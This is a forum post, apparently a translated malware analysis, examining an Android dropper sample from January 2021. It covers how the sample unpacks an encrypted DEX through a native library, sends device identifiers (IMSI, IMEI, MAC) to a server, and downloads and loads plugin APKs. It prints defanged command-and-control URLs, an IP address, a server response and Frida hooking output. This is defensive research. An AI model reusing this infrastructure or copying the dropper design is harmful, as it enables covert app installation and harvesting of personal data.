• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Безобидная схема распространения приложений

danyrusdem

RAID-массив
Пользователь
Регистрация
24.06.2019
Сообщения
56
Реакции
61
В этой статье обсуждается недавний образец Android от января 2021 года. Он был впервые отсканирован 11-го числа, но согласно его сертификату, вероятно, выпущенному 7-го числа. Подобные образцы были замечены в декабре 2020 года.
f699f9e50e8401943321d757a9c1bab367473f102c0abfb57367e9252aae7fde
Упаковщик
Сразу видно, что образец упакован. При запуске образца вызывается класс com.android.StubApplication. Это загружает еще один DEX, который расшифровывается из файла ресурсов qoh.
1 1IjmSn16qgLX5OQYb0h1sQ.png

Загружает DEX и создает экземпляр объекта класса com.android.qoh, затем вызывает метод ywraafdeerq. Как ни странно, мне не удалось найти этот метод в динамическом DEX.

Название класса StubApplication напоминает упаковщики Tencent, Baidu или Qihoo, но не совсем, потому что в этом случае расшифровка ресурсов выполняется собственной библиотекой с именем libTmdsdk.so.
1 nZjmAclyL9R_EWXE8GFnug.png

Собственная библиотека дешифрования. Метод a () возвращает путь к полезной нагрузке DEX. Метод b () расшифровывает актив «qoh» в файле JAR.
1 1IjmSn16qgLX5OQYb0h1sQ.png

Разборка родной библиотеки - от Radare2. Функция с именем «readAssert» (опечатка, как в коде) считывает файл ресурсов и выводит данные в x.jar.

Обратите внимание, что вы можете без проблем получить полный путь распакованного JAR с помощью Dexcalibur или House. А затем выполните команду adb, чтобы получить файл.
1 1IjmSn16qgLX5OQYb0h1sQ.png

1 hADoV6pOdjColrSHaNwjiQ.png

Пример был скомпилирован только для ARMEABI-v7a. Следовательно, чтобы запустить или подключить образец, вам понадобится эмулятор Android для ARM.
Скачивание плагинов

Распакованный JAR состоит из манифеста и файла classes.dex. Находим основной вид деятельности, на который ссылался упаковщик.

1 kHEEG2bjk41wiNDSoZsUIQ.png

Далее в примере запрашивается первый URL-адрес, чтобы получить IP-адрес для «версии» сервера. Образец отправляет на сервер версии сведения о телефоне (IMSI, MAC-адрес, IMEI, модель…) и получает настроенный список приложений для загрузки. Наконец, образец загружает приложения и автоматически загружает их.
1 99g1r9UwxlxkDVRkAwHXVA.png

Код:
{"code":"1",
"errmsg":"3050",
"host":{"versioncode":"0",
        "url":"hXXp://tuiapk.b0.upaiyun.com/dwon/jjlibao130.apk",
        "content":"..."},
"mod":{"versioncode":"0",
       "url":"hXXp://nwapp.netwayapp.com/update/plugin_wxgjzq3050_1102a",
       "md5":"edd7617265ca16e1770b4666fad35c2f",
       "content":"..."}}
Ответ в формате JSON от сервера версий. Немного отредактирован для удобства чтения.
Легкий способ следить за запросами - использовать хук Frida для класса URL. Я также подключил loadApk и getRealDex, которые являются частью динамически загружаемого DEX из x.jar.
Код:
(frida-env) axelle@boostix $ frida -U -l ./dynhook.js -f com.lt7qmgb699f.mnf6viyhwlt
     ____
    / _  |   Frida 14.2.8 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawning `com.lt7qmgb699f.mnf6viyhwlt`...                               
[*] Hooking dynamic class / method
Spawned `com.lt7qmgb699f.mnf6viyhwlt`. Use %resume to let the main thread start executing!
[Android Emulator 5554::com.lt7qmgb699f.mnf6viyhwlt]-> %resume
[Android Emulator 5554::com.lt7qmgb699f.mnf6viyhwlt]-> [+] DexClassLoader constructor hook: dexpath=/data/user/0/com.lt7qmgb699f.mnf6viyhwlt/app_c/x/x.jar
[*] hooking go...
[*] hooking loadApk...
[*] hooking getRealDex...
URL: hXXp://nwapi.oss-cn-hangzhou.aliyuncs.com/api.txt?679480192
URL: hXXp://nwapi.oss-cn-hangzhou.aliyuncs.com/api.txt?679480192
URL: hXXp://118.190.122.47/netway/android/gamehack2/?act=checkver&referer=3050&v=235&gameid=quan&imei=null&imsi=310260000000000&model=sdk_phone_armv7&android_id=d83ee8a01efeda0f&mac=02:00:00:00:00:00&sysver=7.0&uid=null
URL: hXXp://118.190.122.47/netway/android/gamehack2/?act=checkver&referer=3050&v=235&gameid=quan&imei=null&imsi=310260000000000&model=sdk_phone_armv7&android_id=d83ee8a01efeda0f&mac=02:00:00:00:00:00&sysver=7.0&uid=null
[+] downloadFile: url=hXXp://nwapp.netwayapp.com/update/plugin_wxgjzq3050_1102a dir=/storage/emulated/0/Android/data/com.lt7qmgb699f.mnf6viyhwlt/files/nwplugin/ localname=
URL: hXXp://nwapp.netwayapp.com/update/plugin_wxgjzq3050_1102a
URL: hXXp://nwapp.netwayapp.com/update/plugin_wxgjzq3050_1102a
[+] getRealDex: srcdex=/storage/emulated/0/Android/data/com.lt7qmgb699f.mnf6viyhwlt/files/nwplugin/plugin_wxgjzq3050_1102a
[+] getRealDex returns dex=/data/user/0/com.lt7qmgb699f.mnf6viyhwlt/app_sex/win.apk
[+] loadApk: dex=/storage/emulated/0/Android/data/com.lt7qmgb699f.mnf6viyhwlt/files/nwplugin/plugin_wxgjzq3050_1102a
[+] getRealDex: srcdex=/storage/emulated/0/Android/data/com.lt7qmgb699f.mnf6viyhwlt/files/nwplugin/plugin_wxgjzq3050_1102a
[+] getRealDex returns dex=/data/user/0/com.lt7qmgb699f.mnf6viyhwlt/app_sex/win.apk
[+] DexClassLoader constructor hook: dexpath=/data/user/0/com.lt7qmgb699f.mnf6viyhwlt/app_sex/win.apk
Этот механизм особенно опасен, потому что, даже если в данный момент загруженные приложения не являются вредоносными, невозможно убедиться, что тот же канал не будет использоваться позже для распространения вредоносных приложений. Или первый сервер может быть взломан или взломан, чтобы вернуть IP-адрес сервера вредоносной версии. Кроме того, загруженный нами плагин (plugin_wxgjzq3050_1102a) зашифрован и расшифрован с помощью getRealDex (). У нас есть все компоненты для скрытой установки вредоносного ПО.
1 RtlYaRkG0cQ8v_sObgyymw.png

Вредоносный или нет?

Несмотря на очень опасный механизм загрузки и установки, я не совсем уверен, что этот образец действительно вредоносный. Это потому, что до сих пор распространяемые приложения казались не более чем мошенничеством или рекламным ПО. Некоторые антивирусные программы определяют образец как троянскую программу-дроппер «Пингвин». Он действительно сбрасывает APK. Информации о том, что такое семейство Penguin, очень мало, но, похоже, мы должны найти код, который помещает окно поверх всех остальных. Мне не удалось найти такой код в этом примере, поэтому, вероятно, неправильное название. Итак, я назвал его Riskware / Tenpack! Android. Пока не вырастет плохо ...

Подводя итог, злонамеренно или нет, пингвин или нет, нам нужно следить за такими образцами, потому что в один прекрасный день они могут стать очень плохими. Это образец, который вы точно не хотите видеть на своем смартфоне ?
Криптакс
PS. Вы видели этот упаковщик? Или любой другой комментарий, пожалуйста, не стесняйтесь отвечать.


 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх